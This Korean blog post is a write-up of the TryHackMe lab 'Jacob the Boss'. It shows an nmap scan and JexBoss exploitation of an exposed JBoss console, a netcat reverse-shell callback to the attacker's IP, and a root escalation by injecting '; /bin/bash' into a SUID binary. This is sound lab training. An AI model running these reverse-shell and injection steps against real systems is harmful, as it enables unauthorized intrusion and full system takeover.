Wargame/Pwnable

[TryHackMe] Jacob the Boss

월루이 2023. 6. 28.

이제야 올리는 라이트업..

 

 

1. 문제

 

https://tryhackme.com/room/jacobtheboss#

 

TryHackMe | Jacob the Boss

Find a way in and learn a little more.

tryhackme.com

 

 

각각 flag값을 갖고있는 user.txt, root.txt를 찾는 문제

 

공격머신을 이용할 수 있으나 1시간 이후에 유료라..^.^

OpenVPN을 이용했습니담

 

 

힌트

더보기

JBoss Application 취약점

 

 

 

2. 문제 풀이

 

더보기

피해자 IP : 10.10.36.52

공격자IP: 10.18.30.214

 

 

1. 포트 스캔

nmap을 이용하여 포트스캔 시도

nmap -sS -o 10.10.36.52

 

아래와 같은 결과를 볼 수 있다.

눈여겨볼만한건 80포트, 8080포트 (웹 서버)

3306포트(mysql)...

1098, 1099 얘네들은 java

 

 

 

1-1. mysql 원격 접속 시도

 

외부 접속을 막아 뒀다.

 

 

1-2. 80포트(아파치)

 

이것도 별 다른 특이사항이 없는 것 같다.

 

 

 

1-3. 8080포트(JBoss)

 

여기서 JBoss AS를 처음 봤는데, Tomcat과 같이 웹 컨테이너 중 하나로 유명하다고 한다. (외국에서 많이 쓰이는 듯..)

 

 

JBoss Web Console 접속시, 아래처럼 JBoss 버전 등의 내용을 볼 수 있다.

이게 원래 들어갈 수 있는건가 싶어서 검색해보니 원래는 막아놔야한다고 한다.

 

그래서, JBoss Application server가 취약하다고 판단했다.

 

 

 

 

 

 

2. JBoss AS 취약

 

2-1. JexBoss 도구 사용

JBoss Application Servlet를 대상으로 하는 보안 취약점 스캐닝 및 테스트 도구인 JexBoss를 사용한다.

해당 도구로 취약점 스캐닝 후, 그 결과를 기반으로 취약점 공격을 진행할 수 있는 도구이다.

 

아래에서 다운받은 후, 사용해주면 된다.

https://github.com/joaomatosf/jexboss

 

GitHub - joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool

JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool - GitHub - joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitati...

github.com

 

사용법은 /path/to/jexboss에서 아래 명령어를 사용하면 된다.

python jexboss.py -u http://10.10.36.52:8080

 

jmx-console, web-console, JMXInvokerServlet 이 3가지 관리콘솔들이 취약한 것을 알 수 있다.

 

JexBoss를 이용하면 취약점 진단 뿐만 아니라, 공격도 할 수 있다.

 

 

2-2. 리버스쉘 사용

 

리버스쉘은 클라이언트(공격자)가 리스닝을 하고 서버에서 클라이언트(공격자)쪽으로 접속하는 방식을 말한다.

=> 방화벽 때문에, 외부 > 내부로 들어오는 요청은 차단되어도 내부 > 외부로 나가는 요청은 허용된 경우가 많다.

 

 

공격자는 4444번 포트를 열고 대기한다. 

nc -lvnp 4444

 

 

 

jexremote 명령어를 이용하여 공격자의 서버와 포트로 JBoss AS를 원격 연결한다.

jexremote=10.18.30.214:4444

 

 

 

이렇게 연결한 후, user.txt를 읽을 수 있다.

 

 

3. root로 권한 상승

root.txt를 읽기 위해서는 jacob -> root로 권한 상승이 필요하다.

 

3-1. SUID 설정된 파일 찾기

find / -perm /4000 -type f 2>/dev/null

 

 

3-2. SUID가 설정된 파일 통해 권한상승

pingsys파일은 네트워크 연결 설정을 확인하는 파일이다.(ping 명령어와 유사)

파일 소유자인 root의 권한으로 실행시키면서 /bin/bash 명령어로 권한상승 시도

 

/usr/bin/pingsys '8.8.8.8; /bin/bash'

 

 

 

 

아래와 같이 root.txt를 읽을 수 있다.

 

 

 

 

 

댓글